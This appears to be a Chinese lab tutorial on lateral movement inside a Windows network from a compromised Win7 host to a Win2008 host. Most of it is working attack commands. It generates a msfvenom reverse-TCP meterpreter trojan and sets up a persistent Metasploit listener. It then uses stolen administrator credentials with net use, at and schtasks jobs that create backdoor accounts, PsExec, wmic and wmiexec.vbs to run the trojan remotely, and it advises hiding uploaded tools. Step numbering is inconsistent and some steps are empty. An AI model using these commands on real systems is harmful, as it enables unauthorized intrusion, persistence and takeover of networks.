目录
一、前言
二、实验环境:
三、实验目的:
四、实验操作:
实验准备:
计划任务:
At计划任务:
schtasks计划任务:
Psexec横向移动:
Windows:
Kali msf:
wmic横向移动
wmiexec.vbs脚本横向移动:
1、半交互模式
2、单命令执行
在攻击者获取到某台内网机器的控制权限之后,进一步会考虑如何在内网进行横向移动,以及攻击域控服务器,本文总结了突破边界后进一步的攻击技巧,拿到内网机器的密码或Hash进行横向移动的方式
攻击(攻击者)主机: |
Kali2020.2 虚拟机 |
Nat |
192.168.0.174 |
目标(受害者)主机1: |
Windows2007虚拟机 |
Nat vmnet1 |
192.168.254.134 192.168.10.9 |
目标(受害者)主机2: |
Windows2008 虚拟机 |
Nat vmnet1 |
192.168.254.133 192.168.10.12 |
通过windows2007的shell,横向移动到windows2008
实验开始之前,先使用msf反弹win7的shell,结果如【下图】所示:
【命令】
msfconsole
use exploit/multi/handler
set lhost 192.168.254.132
set payload windows/x64/meterpreter/reverse_tcp
exploit
使用msfvenom生成一个反弹shell的木马,并上传到win7上面(这里是直接复制到win7上面,实际中是通过webshell上传的):
//生成反弹shell的木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.254.132 lport=4444 -f exe -o mm.exe
把mm.exe木马上传到win7,并点击运行木马:
注:适用于2008以前的机器,2008以后的机器不推荐使用
需要开启Task Scheduler服务 经典流程:
【步骤一】:切换cdm shell,并修改cdm页面的编码格式,结果如【图1】所示:
【命令】
shell //进入win7 cmd的shell
chcp 65001 //切换cmd的页面编码格式为utf-8
图1
【步骤二】:进行一个连接到windows2008目标机,查看连接是否成功,结果如【图2】所示:
【命令】
//建立一个win7与win8的连接:(需要win8的账号密码)
net use \\192.168.10.12 /user:administrator Xye123456
net use //查询连接情况
图2
【分析】由上图可以看出,连接成功建立
【步骤三】:通过输出命令,创建一个创建用户的脚本1.bat,并查看内容(通过这步也可以创建其他命令),结果如【图3】所示:
【命令】
echo net user zs 123.com /add > 1.bat //输出一个创建用户的脚本1.bat
type 1.bat //查看脚本内容
图3
【分析】成功输出内容到1.bat
【步骤四】:把windows2003本地文件1.bat脚本复制到windows2008目标服务器上【复制本地文件到目标服务器的share共享目录(一般是放入admin$这个共享地方(也就是c:\winnt\system32\或者是c:\windows\system32\),或者c$,d$)】,查看windows2008的现在时间,并结果如【图4】所示:
【命令】
copy 1.bat \\192.168.10.12\c$ \\复制脚本到win8\C:盘下
net time \\192.168.10.12 \\查询win8当前系统时间
图4
【分析】成功复制1.bat脚本到windows2008
【步骤五】:添加at任务执行,时间13:46执行1.bat文件,查看at任务是否创建成功,结果如【图5】所示
【命令】
at \\192.168.10.12 13:46 C:\1.bat //添加at计划任务,时间13:46执行1.bat文件
at \\192.168.10.12 //查看at任务是否创建成功
图5
【分析】at任务创建成功,并成功执行1.bat脚本里面的内容
注意:
1.时间尽量使用 24 小时制,这样就避免麻烦,不用区分上午下午;
2.如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径
【步骤六】:创建一个schtasks计划任务,结果如【图6】所示:
【命令】
echo net user ls 456.com /add > 2.bat
copy 2.bat \\192.168.10.12\c$
net time \\192.168.10.12
schtasks /create /tn foobar /tr c:\2.bat /sc once /st 14:00 /s 192.168.10.12 /U administrator /P Xye123456
图6
【分析】
PsExec.exe下载地址,永不失效 提取码:0xel
【步骤七】:上传PsExec.exe程序到windows7上(一般上传到temp目录下,直接上传到桌面太明显),结果如【图26】所示
【命令】
upload /home/lbb/桌面/PsExec.exe
图7
【步骤八】:进入cmd shell,并设置页面编码格式,避免乱码,结果如【图8】所示:
【命令】
shell
chcp 65001
图8
【步骤九】:查看连接是否在,如果不存在,就创建一个连接目标主机的连接,结果如【图9】所示:
【命令】
net use
net use \\192.168.10.12 /user:administrator Xye123456
图9
【步骤十】:运行PsExec.exe,直接运行会弹框,输入/accepteula这个参数就可以绕过,结果如【图10】所示:
【命令】
psexec.exe \\ip /accepteula -u username -p password program.exe
图10
【分析】出现以上原因可能是,MSF中handler程序监听收到一个会话就不会继续监听,正常的payload只会监听一次,需要设置持续监听
【步骤十一】:退出msf,回到kali,建立一个持续监听,解决以上的问题,结果如【图11】所示:
【命令】
exit -y
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.254.132
set ExitOnSession false
exploit -j
通过设置ExitOnSession为false来让connection保持连接(即使一个连接退出,仍然保持listening状态)。
当设置ExitOnSession时,exploit命令必须使用:
-j:作为job开始运行
-z:不立即进行session交换--也即是自动后台运行。
图11
【步骤十二】:查看监听情况,结果如【图2】所示
【命令】
netstat -anpt
运行mm.exe木马程序:
查看监听情况:
netstat -anpt
图12
【分析】通过以上验证,说明端口处于监听状态;
【步骤十三】:查看会话情况,会话1(sessions 1)的shell是windows2007的shell,结果如【图13】所示:
【命令】
sessions //询会话
Sessions 1 //启用会话1
shell
chcp 65001
net use
net use \\192.168.10.12 /user:administrator Xye123456
net use
图13
【步骤十四】:执行以下命令,横向移动到window2008的shell,结果如【图14】所示:【命令】
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
psexec.exe \\192.168.10.12 /accepteula -u administrator -p Xye123456 -c mm.exe -d
background //返回并挂起一个会话,不会退出
图4
【步骤五】:切换到sessions 2,查看是否是windows2008的shell,结果如【图5】所示
【命令】
sessions 2
Sysinfo
Shell
Chcp 65001
ipconfig
图5
【分析】通过上面的操作可以看出,成功丛windows2007横向移动到windows2008
【步骤六】:先使用msf反弹win7的shell,结果如【图6】所示:
【命令】
图6
【分析】由上图可知,成功反弹win7的shell
【步骤七】:创建一个socks代理服务,结果如【图7】所示
【命令】
另开一个窗口B,设置代理的配置文件内容:
图7
【分析】代理服务启动成功
【步骤八】:进入win7 cmd shel中,创建一个win7和win8的连接,结果如【图8】所示
图8
【步骤九】:再开一个窗口C,使用代理进行连接,并进行横向移动的操作,结果如【图9】所示:
图9
【步骤十】:,结果如【图10】所示:
图10
【分析】通过sysinfo查看会话2,可知成功横向移动到win8
(注:msf反弹shell,上面已经详细介绍,下面就是接着上面的shell环境做的实验)
【步骤一】使用会话1,会话1是与win7的会话,并进入win7的cmd shell,并查看win7与win8的连接是否还在,结果如【图1】所示:
图1
【分析】连接还在
【步骤二】:通过连接查看win8的/c$目录下的文件,结果如【图2】所示:
【命令】
dir \\192.168.10.12\c$ //查看远程win8 \C:盘下的文件
wmic /node:192.168.10.12 /user:administrator /password:Xye123456 process call create c:\windows\temp\mm.exe
图2
【分析】这里有上传过的木马,可以直接使用Wmic执行木马mm.exe,获得shell,上图可知,已经建立了一个新会话
【步骤三】:exit退出win7的shell,使用会话2,连接win8的shell,结果如【图3】所示:
【命令】
图3
【分析】通过上面图片可知,已经获得win8的shell
注: 如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题 如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
wmiexec.vbs传送门 提取码:dvbq
【步骤四】:上传vbs脚本到win7,结果如【图4】所示
【命令】
upload /home/lbb/桌面/wmiexec.vbs
图4
【步骤五】:进入win7的cmd shell,并再进行查看vbs脚本是否真的上传,结果如【图5】所示:
图5
【步骤六】:执行vbs脚本,获得win8的shell,结果如【图6】所示
【命令】
cscript.exe //nologo wmiexec.vbs /shell 192.168.10.12 administrator Xye123
图6
【分析】通过ipconfig命令可以看出,已经获得win8的shell
cscript.exe wmiexec.vbs /cmd 192.168.10.12 administrator Xye123456 "c:/mm.exe"
【步骤七】:先关掉前面获得shell的会话,执行木马获得新的会话,结果如【图7】所示:
【命令】
图7
【步骤八】:切换到win7的cmd shell,结果如【图8】所示:
图8
【步骤九】:执行代码,结果如【图9】所示:
【命令】
cscript.exe wmiexec.vbs /cmd 192.168.10.12 administrator Xye123456 "c:/mm.exe"
图9
【分析】返回结果的可知,成功创建一个新的会话
【步骤十】:ctrl +z退出win7的cmd shell,并退出当前会话,将当前会话挂入后台,结果如【图10】所示:
【命令】
background
图10
【步骤十一】:查看会话,反弹了一个win8的会话8,结果如【图11】所示
图11
【分析】由上图可知,建立了一个新的会话,并且这个会话是win8的
【步骤十二】:切换到win8的会话8,结果如【图12】所示:
图12
【分析】通过sysinfo 的命令查看会话系统信息,可知,当前shell是win8